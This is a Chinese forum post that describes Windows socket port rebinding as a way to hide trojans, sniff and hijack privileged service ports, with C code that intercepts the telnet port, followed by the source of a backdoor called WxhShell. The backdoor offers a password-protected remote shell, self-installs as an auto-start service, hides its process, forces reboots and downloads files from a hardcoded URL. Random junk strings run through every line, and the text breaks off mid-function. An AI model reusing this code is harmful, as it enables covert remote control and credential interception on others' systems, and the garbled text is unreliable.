社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14050阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9'S~zG%{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); my(yN|  
sJ(q.FRM'  
  saddr.sin_family = AF_INET; -ip fGb  
W2 ([vRT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -a(\(^NW  
<78LB/:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `+go| 5N2  
uY5Gn.Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9X2 lH~C  
R.+yVO2  
  这意味着什么?意味着可以进行如下的攻击: mK2M1r  
Fo1|O&>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >=Z@)PAe  
D;l)&"|r?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x# &ZGFr~  
>&kb|)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LpJ_HU7@lk  
95G*i;E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jt/ |u=  
s3LR6Z7;i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vs )1Rm  
yfD)|lK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @$(/6]4p  
;_^ "}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3C8W]yw/s  
&$ ?i  
  #include = +uUWJ&1G  
  #include X[cSmkp7  
  #include #^bkM)pc  
  #include    bh8IF,@a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W,^(FR.  
  int main() >Tm|}\qEb  
  { f'\NGL  
  WORD wVersionRequested; ?q%)8 E  
  DWORD ret; n+EK}= DK  
  WSADATA wsaData; cXJtNW@  
  BOOL val; E&/D%}Wl  
  SOCKADDR_IN saddr; 3}H"(5dL}z  
  SOCKADDR_IN scaddr; Cz\(.MWNZ  
  int err; tzxp0&:Z].  
  SOCKET s; =9 TAs? =  
  SOCKET sc; jG3}V3|.  
  int caddsize; %KeQp W  
  HANDLE mt; s68EzFS  
  DWORD tid;   )y7SkH|  
  wVersionRequested = MAKEWORD( 2, 2 ); H>-?/H  
  err = WSAStartup( wVersionRequested, &wsaData ); +|OkT  
  if ( err != 0 ) { 3mIX9&/  
  printf("error!WSAStartup failed!\n"); _[SP*" ]H  
  return -1; A}#@(ma7  
  } c 25wm\\  
  saddr.sin_family = AF_INET; b&g9A{t  
   F6T@YSP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6qK0G$>  
C61KY7iyR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O,_2dj d  
  saddr.sin_port = htons(23); ?S8cl7;+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *n0k2 p  
  { q4$R?q:^  
  printf("error!socket failed!\n"); oy'Q#!  
  return -1; xXK7i\ny  
  } W|T"'M_  
  val = TRUE; S\Qh#y FT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 unmuY^+<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2I:vie  
  { *?gn@4Ly  
  printf("error!setsockopt failed!\n"); YE5v~2  
  return -1; 0.nS306  
  } }0uSm%,"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^Y xqJy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {"e/3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sm}v0V.Js  
<W vuW6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :*1Gs,  
  { 0-g,C=L  
  ret=GetLastError(); L.15EXAB  
  printf("error!bind failed!\n"); r3w.$  
  return -1; 1,W%t\D  
  } j2#Vdw|j  
  listen(s,2); K4xZT+Qb  
  while(1) f9D7T|J?10  
  { 9L?EhDcDV  
  caddsize = sizeof(scaddr); ~@z5Ld3xz  
  //接受连接请求 B l'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2Z,;#t  
  if(sc!=INVALID_SOCKET) [j}%&$  
  { K;-:C9@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wH!]B-hn  
  if(mt==NULL) }tx~y-QQ  
  { R]/F{Xs  
  printf("Thread Creat Failed!\n"); *ARro Ndr  
  break; "S[VtuxPCU  
  } nH% /  
  } a|5GC pp  
  CloseHandle(mt); LjXtOF  
  } ;pb~Zk/[,w  
  closesocket(s); 1WcT>_$  
  WSACleanup(); ET _}x7  
  return 0; GWA_,/jS%  
  }   DfV_08  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0,m*W?^31  
  { \s<iM2]Kl  
  SOCKET ss = (SOCKET)lpParam; |=38t8Ge&  
  SOCKET sc; K N0S$nW+  
  unsigned char buf[4096]; #)>>f  
  SOCKADDR_IN saddr; V%y kHo  
  long num; ]pb;q(?^  
  DWORD val; sTv/;*  
  DWORD ret; h{<^?=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a%(1#2^`q!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c!Pi)  
  saddr.sin_family = AF_INET; qI;k2sQR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !h&hPY1  
  saddr.sin_port = htons(23); sd8o&6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,fET.s^|U  
  { .D4 D!!  
  printf("error!socket failed!\n"); 4ItXZo  
  return -1; "5dh]-m n  
  } Fl*@@jQ8cV  
  val = 100; 0U`Ic_.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G0]q(.sOy  
  { HSK^vd?_l  
  ret = GetLastError(); ,~G _3Oz  
  return -1; {_[l,tdZ  
  } LDPo}ogs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vaq=f/  
  { y-sQ"HPN  
  ret = GetLastError(); 1uXtBk6  
  return -1; Nb]qY>K  
  } RE"}+D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3\D jV2t  
  { y[r T5ed  
  printf("error!socket connect failed!\n"); ' {:(4>&  
  closesocket(sc); pd7FU~-  
  closesocket(ss); B[$KnQM9Y  
  return -1; /;.M$}Z>`  
  } 4F:RLj9P!  
  while(1) t1ZZru'r  
  { l0Pg`wH,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JHO9d:{-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2_F`ILCML  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~s5Sk#.z5  
  num = recv(ss,buf,4096,0); *$l8H[  
  if(num>0) ;[9cj&7C<  
  send(sc,buf,num,0); 1km=9[;w'  
  else if(num==0) R [uo:.  
  break; ~^5uOeTZ~  
  num = recv(sc,buf,4096,0); ^R<= }  
  if(num>0) cL1cBWd  
  send(ss,buf,num,0); 9L&AbmIr  
  else if(num==0) wk5a &  
  break; #K)HuT  
  } }y[o[>  
  closesocket(ss); TR%?U/_4;r  
  closesocket(sc); jgGn"}  
  return 0 ; E RMh% C  
  } =3J~ Fk  
^ul`b  
vF([mOZ  
==========================================================  UNhD  
iySmNI  
下边附上一个代码,,WXhSHELL Viw{<VH=  
J J3vC  
========================================================== XM=`(e o  
?ke C   
#include "stdafx.h" j?8E >tM  
`o*eLLk  
#include <stdio.h> C]):+F<7  
#include <string.h> $==hr^H  
#include <windows.h> <$=8'$T81  
#include <winsock2.h> Fvv6<E  
#include <winsvc.h> m3|,c[M1  
#include <urlmon.h> [%h^qJ  
je{5iIr3/  
#pragma comment (lib, "Ws2_32.lib") )O+9 v}2  
#pragma comment (lib, "urlmon.lib") Q;^([39DI  
k~hL8ZT[  
#define MAX_USER   100 // 最大客户端连接数 /3c1{%B\  
#define BUF_SOCK   200 // sock buffer }=L >u>cP  
#define KEY_BUFF   255 // 输入 buffer HL!-4kN <$  
97&6iTYA  
#define REBOOT     0   // 重启 `kz_ q/K  
#define SHUTDOWN   1   // 关机 y1AS^'  
*Js<VR  
#define DEF_PORT   5000 // 监听端口 dZYS5_wr  
|0bSxPXn!  
#define REG_LEN     16   // 注册表键长度 ![V<vIy  
#define SVC_LEN     80   // NT服务名长度 ']rh0?  
|Y99s)2&N  
// 从dll定义API oJR!0nQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P&SR;{:y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Ab<I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0FW=8hFp,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i4-L!<bJ  
IQ~()/;3d  
// wxhshell配置信息 zZ wD)p?_g  
struct WSCFG { 2n7[Op  
  int ws_port;         // 监听端口 k+i=0 P0mf  
  char ws_passstr[REG_LEN]; // 口令 VEn%_9(]  
  int ws_autoins;       // 安装标记, 1=yes 0=no +u Lu.-N  
  char ws_regname[REG_LEN]; // 注册表键名 0I&rZMpF&  
  char ws_svcname[REG_LEN]; // 服务名 iVl"H@m/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1`uIjXr(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N" 8o0>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :I7MP   
int ws_downexe;       // 下载执行标记, 1=yes 0=no L\B+j+~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4+~+`3;~v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EHb:(|UA%8  
)I <.DN&  
}; `BvcI n4do  
i a|F  
// default Wxhshell configuration ^aC[Z P:  
struct WSCFG wscfg={DEF_PORT, MaEh8*  
    "xuhuanlingzhe", &sllM  
    1, COT;KC6 n  
    "Wxhshell", ^ 1g6(k'  
    "Wxhshell", [ wROIvV  
            "WxhShell Service", X}Csl~W8in  
    "Wrsky Windows CmdShell Service", H;CGLis  
    "Please Input Your Password: ", [DE8s[i-  
  1, 3646.i[D  
  "http://www.wrsky.com/wxhshell.exe", jv7zvp  
  "Wxhshell.exe" C +IXP  
    }; (PNvv/A  
qB&*"gf  
// 消息定义模块 sv[)?1S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9-@w(kMu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J3'"-,Hv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WFB2Ub7  
char *msg_ws_ext="\n\rExit."; =y4g. J\  
char *msg_ws_end="\n\rQuit."; S38D cWIw  
char *msg_ws_boot="\n\rReboot..."; 7!%cKZCY  
char *msg_ws_poff="\n\rShutdown..."; @M,_mX  
char *msg_ws_down="\n\rSave to "; [W2p}4(  
PaZFM  
char *msg_ws_err="\n\rErr!"; |9%>R*  
char *msg_ws_ok="\n\rOK!"; A6sBObw;  
W$3p,VTMmB  
char ExeFile[MAX_PATH]; 55;xAsG  
int nUser = 0; $+mmqc8  
HANDLE handles[MAX_USER]; "qF&%&#r'  
int OsIsNt; $0 l i"+  
hcBfau;r  
SERVICE_STATUS       serviceStatus; IOJfv8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; & =frt3  
FVSz[n  
// 函数声明 J0>Q+Y  
int Install(void); mr/^lnO  
int Uninstall(void); `$i`i'S  
int DownloadFile(char *sURL, SOCKET wsh); ('gjf l  
int Boot(int flag); K.cNx  
void HideProc(void); L*5&hPU  
int GetOsVer(void); ML R3 A s  
int Wxhshell(SOCKET wsl); jem$R/4"  
void TalkWithClient(void *cs); 3*; {C|]S  
int CmdShell(SOCKET sock); x3vz4m[  
int StartFromService(void); k_^d7yH  
int StartWxhshell(LPSTR lpCmdLine); GoFC!nx  
J>+Dv?Ni$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IUZsLNW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q<7Nz] Td  
iWvgCm4  
// 数据结构和表定义 7?A}q mv  
SERVICE_TABLE_ENTRY DispatchTable[] = sQ`8L+oY  
{  b'ew Od=  
{wscfg.ws_svcname, NTServiceMain}, o30PI  
{NULL, NULL} r3KV.##u,  
}; ckTnb  
 e%qMrR  
// 自我安装 r67 3+  
int Install(void) & XrV[d[>  
{ E`'+1  
  char svExeFile[MAX_PATH]; s{CSU3vYmi  
  HKEY key; pY:xxnE  
  strcpy(svExeFile,ExeFile); +)V6"XY-(  
KcSvf;sx  
// 如果是win9x系统,修改注册表设为自启动 '[A>eC++  
if(!OsIsNt) { .AV--oA~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hZ%Ie%~n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eDy}_By^  
  RegCloseKey(key); 'Oq}BVR&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ D45X<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fCTjTlh  
  RegCloseKey(key); ?n_Y _)9  
  return 0; Oo#wPT;1^(  
    } 8HWY]:| oh  
  } zL> nDnL 4  
} U2K>\/-~  
else { 'T.> oP0>  
5[;^Em)C  
// 如果是NT以上系统,安装为系统服务 QGsUG_/_P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $+rdzsf)+/  
if (schSCManager!=0) pM4 j=F  
{ gsAcn  
  SC_HANDLE schService = CreateService 'r'uR5jR  
  ( m@yaF: R  
  schSCManager, ;)o%2#I  
  wscfg.ws_svcname, OtnYv  
  wscfg.ws_svcdisp, Ot/Y?=j~  
  SERVICE_ALL_ACCESS, VNMhtwmK,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W<58TCd  
  SERVICE_AUTO_START, 4S9AXE6  
  SERVICE_ERROR_NORMAL, jIEK[vJ`  
  svExeFile, 2Ejs{KUj  
  NULL, R (hq Ba/V  
  NULL, 6C   
  NULL, xo?f90+(  
  NULL, 8rw;Yo<k  
  NULL {)`5*sd  
  ); 56L>tP  
  if (schService!=0) *%g*Np_P  
  { <FGM/e4  
  CloseServiceHandle(schService); _~6AUwM  
  CloseServiceHandle(schSCManager); r{Xh]U&>k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _hXadLt  
  strcat(svExeFile,wscfg.ws_svcname); .'SM|r$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rs!J<CRq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m,8A2;&,8  
  RegCloseKey(key); TCB<fS~U-  
  return 0; 0xH$!?{b  
    } @aBZ|8  
  } Inr ~9hz  
  CloseServiceHandle(schSCManager); PN<Y&/fB  
} U4Qc$&j>  
} )LnHm  
"bC8/^  
return 1; ^@jOS{f l  
} BEu9gu  
cC>.`1:  
// 自我卸载 hcM 0?=  
int Uninstall(void) I:='LH,  
{ #XNe4#  
  HKEY key; [7L1y) I(  
{T=I~#LjMI  
if(!OsIsNt) { v!40>[?|p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pbz-I3+66  
  RegDeleteValue(key,wscfg.ws_regname); Lt=#tu&d  
  RegCloseKey(key); ()XL}~I{!A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zYF'XB]4  
  RegDeleteValue(key,wscfg.ws_regname); ~ / "aD  
  RegCloseKey(key); U9kt7#@FDK  
  return 0; < R0c=BZ>  
  } u:fiil$  
} ~vG~Z*F  
} Le#bitp  
else { 5Ss=z  
FWPkvL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z'!jZF~4p  
if (schSCManager!=0) d0IHl!X  
{ ;J2=6np  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F5&4x"c  
  if (schService!=0) fv#e 8y  
  { Mx[tE?!2  
  if(DeleteService(schService)!=0) { K*p^Gs,  
  CloseServiceHandle(schService); Fb[<YX"  
  CloseServiceHandle(schSCManager); ~M,nCG^4  
  return 0; g9p#v$V  
  } q'{E $V)E  
  CloseServiceHandle(schService); Y~bp:FkS  
  } p4|:u[:&  
  CloseServiceHandle(schSCManager); P4ot, Q4  
} 42 8kC,  
} q4lL7@_  
En-eG37 l  
return 1; "X"DTP1b  
} Vh4z+JOC  
a)[tkjU  
// 从指定url下载文件 0M-Zp[w\-  
int DownloadFile(char *sURL, SOCKET wsh) n%@xnB $ZX  
{ q'd6\G0 }  
  HRESULT hr; y7$e7~}/  
char seps[]= "/";  /dBQ*f5  
char *token; {.;MsE  
char *file; Dy0cA| E  
char myURL[MAX_PATH]; S\s1}`pNm  
char myFILE[MAX_PATH]; ] E`J5o}op  
4s.wQ2m  
strcpy(myURL,sURL); d),@&MSN  
  token=strtok(myURL,seps); ;sCX_`t0E  
  while(token!=NULL) LKftNSkg"  
  { 2u/(Q>#  
    file=token; DJT)7l{  
  token=strtok(NULL,seps); .KTDQA\  
  } I?Eh 0fI  
FHqa|4Ie  
GetCurrentDirectory(MAX_PATH,myFILE); a{el1_DIGK  
strcat(myFILE, "\\"); B5P++aQ  
strcat(myFILE, file); ayHI(4!$j  
  send(wsh,myFILE,strlen(myFILE),0); Ui'~d(F  
send(wsh,"...",3,0); $A8eMJEpL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vr`UF0_3q  
  if(hr==S_OK) #](ML:!  
return 0; 3zMmpeq  
else `:?padZG  
return 1; ~iyd p  
* vEG%Y  
} Dbz\8gmY  
~+V]MT  
// 系统电源模块 M\>y&'J-  
int Boot(int flag) , N5Rdgzk  
{ W^P%k:anK  
  HANDLE hToken; /Y|9!{.  
  TOKEN_PRIVILEGES tkp; eW0:&*.vMj  
pi3Z)YcT  
  if(OsIsNt) { 6@; w%Ea  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DTAEfs!ZW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $BkdC'D  
    tkp.PrivilegeCount = 1; 0ot=BlMu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E':y3T@."  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0'c<EJ  
if(flag==REBOOT) { @_h/%>0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h&;\   
  return 0; 6pxj9@X+  
} RR*z3i`PP  
else { ,`S"nq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xGPt5l<M&  
  return 0; UOT~L4 G  
} DyYl97+Z?  
  } /vwGSuk._  
  else { W(a=ev2sa  
if(flag==REBOOT) { @;JT }R H-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =/V r,y$  
  return 0; \/S?.P#L~  
} SN\;&(?G  
else { vEW;~FLd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p+#uPY1#  
  return 0; 9Z6O{ >  
} 8&3+=<U  
} P_lk4 0X  
fW <qp  
return 1; - "h {B  
} $ [M8G   
Cp_"PvTmT  
// win9x进程隐藏模块 ){icI <  
void HideProc(void) U3 ED3) D  
{ "e@JMS  
[1G4he%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &AoXv`l4  
  if ( hKernel != NULL )  ceyZ4M  
  { zl4Iq+5~6Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .y#@~H($  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eiJ $}\qJL  
    FreeLibrary(hKernel); 7:9WiN5b  
  } dHg[0Br)r  
87r#;ND  
return; p/4GOU5g  
} ,K,n{3]  
ko=vK%E[  
// 获取操作系统版本 qIuY2b`6  
int GetOsVer(void) "N D1$l  
{ : v<|y F  
  OSVERSIONINFO winfo; |r%6;8A]i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9p9:nx\  
  GetVersionEx(&winfo); cK1r9ED|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "  q0lh  
  return 1; O F2*zU7M  
  else [?.k8;k  
  return 0; !%_}Rv!JT  
} bmGIxBRq  
'>@ evrG  
// 客户端句柄模块 wS hsu_(i  
int Wxhshell(SOCKET wsl) E&7U |$  
{ _r?H by<b  
  SOCKET wsh; 6L}$R`s5H  
  struct sockaddr_in client; Kj;Q;Ii  
  DWORD myID; !Hr~B.f7  
]wc'h>w  
  while(nUser<MAX_USER) +YI/(ko=  
{ R]/3`X9!d>  
  int nSize=sizeof(client); xKv\z1ra  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {M )Y6\v  
  if(wsh==INVALID_SOCKET) return 1; #||^l_  
B#OnooJI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  |'aGj  
if(handles[nUser]==0) }N&}6U  
  closesocket(wsh); 7b_t%G"  
else )CD4k:bm  
  nUser++; AVF(YD<U  
  } 8Mf6*G#Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TMpV .iH  
Fw)#[  
  return 0; X3-pj<JLY  
} Pv|g.hH9m  
RXxi7^ U  
// 关闭 socket Ej~vp2  
void CloseIt(SOCKET wsh) !KKkw4  
{ !ow:P8K?  
closesocket(wsh); lm i,P-Q  
nUser--; >-*rtiE  
ExitThread(0); .!e):&(8  
} :PE{2*  
7jL+c~  
// 客户端请求句柄 X ^8@T  
void TalkWithClient(void *cs) _kg<K D=P  
{ (~q.YJ'  
,R#pQ 4  
  SOCKET wsh=(SOCKET)cs; m!Cvd9X=  
  char pwd[SVC_LEN]; EmNJ_xY  
  char cmd[KEY_BUFF]; ZP~Mgz{f  
char chr[1]; X'Q?Mh  
int i,j; iO 9.SF0:  
kw{dvE\K  
  while (nUser < MAX_USER) { &W+lwEu  
1yC_/Va1  
if(wscfg.ws_passstr) { o@:${> jw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MdXOH$ ps  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ndg1E;>  
  //ZeroMemory(pwd,KEY_BUFF); 0)F.Y,L  
      i=0; E)sC:oO  
  while(i<SVC_LEN) { v=5H,4UMA  
(K xI*  
  // 设置超时 0Xo>f"2<f  
  fd_set FdRead; 0,~||H{  
  struct timeval TimeOut; -UY5T@as  
  FD_ZERO(&FdRead); _E'F   
  FD_SET(wsh,&FdRead); xB-\yWDZe  
  TimeOut.tv_sec=8; ^/]w}C#:d  
  TimeOut.tv_usec=0; [x{z}rYH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vT@*o=I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;QO3^P}  
,Tp:. "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |"}oGL6-  
  pwd=chr[0]; lCafsIB  
  if(chr[0]==0xd || chr[0]==0xa) { jkAWRpOc)  
  pwd=0; {g9*t}l4  
  break; P* X^)R  
  } o8_))  
  i++; j<NZ4Rf  
    } 7N:3  
%_Q+@9  
  // 如果是非法用户,关闭 socket 5 w-Pq&q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nk63F&J7e  
} AQ%B&Q(V1  
gn//]|#H+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i+qt L3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0<i8 ;2KD  
@7HHi~1JK  
while(1) { k3(q!~a:.}  
IA%|OVAfF  
  ZeroMemory(cmd,KEY_BUFF); $^:s)Yv  
+Y?) ?  
      // 自动支持客户端 telnet标准   3</W}]$)p  
  j=0; %$D n);6=  
  while(j<KEY_BUFF) { 0tKVo]EK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tm1#Lh0  
  cmd[j]=chr[0]; [][ze2+b  
  if(chr[0]==0xa || chr[0]==0xd) { shgZru  
  cmd[j]=0; ^HhV ?Iqg  
  break; ~xLo0EV "  
  } ^jb jH I&  
  j++; Mfn^v:Q#  
    } BOfl hoUX  
' !2NSv  
  // 下载文件 7}1Z7"?  
  if(strstr(cmd,"http://")) { :F8h}\a*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L35]'Jua  
  if(DownloadFile(cmd,wsh)) s6F0&L;N&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BKiA[ ;;  
  else r^7eK)XA_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ){LU>MW{&  
  } z6*r<>Bf+b  
  else { 8e5imei  
k QF3DR$,B  
    switch(cmd[0]) { )[ QT ?;  
  \3&1iA9=)  
  // 帮助 - lqD  
  case '?': { j.!5&^;u4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wg+[T;0S  
    break; pocXQEg$]  
  } : HM~!7e  
  // 安装 Q#F9&{'l  
  case 'i': { Quwq_.DU  
    if(Install()) ;qO3m -(d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"~`\ xhx  
    else j0^1BVcj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1#3eY? Nb  
    break; eiCmd =O7  
    } 4p7j "d5  
  // 卸载 JXjH}C  
  case 'r': {  1p K(tm  
    if(Uninstall()) ]UkqPtG;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e,xJ%f  
    else s{OV-H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2''EF';  
    break; ~z^49Ys:  
    } 0 . UN  
  // 显示 wxhshell 所在路径 R , #szTu  
  case 'p': { GTi=VSGqF  
    char svExeFile[MAX_PATH]; 7^V`B^Vu  
    strcpy(svExeFile,"\n\r"); Aj]/A  
      strcat(svExeFile,ExeFile); 'pyIMB?x  
        send(wsh,svExeFile,strlen(svExeFile),0);  '[HBKn$`  
    break; G)?j(El  
    } o=RxQk1N  
  // 重启 ^I9U<iNIL  
  case 'b': { 62kA(F 0e,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JC`;hY  
    if(Boot(REBOOT)) DxD\o+:r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{GlDoFk  
    else { mG1!~}[  
    closesocket(wsh); PdEPDyFkh  
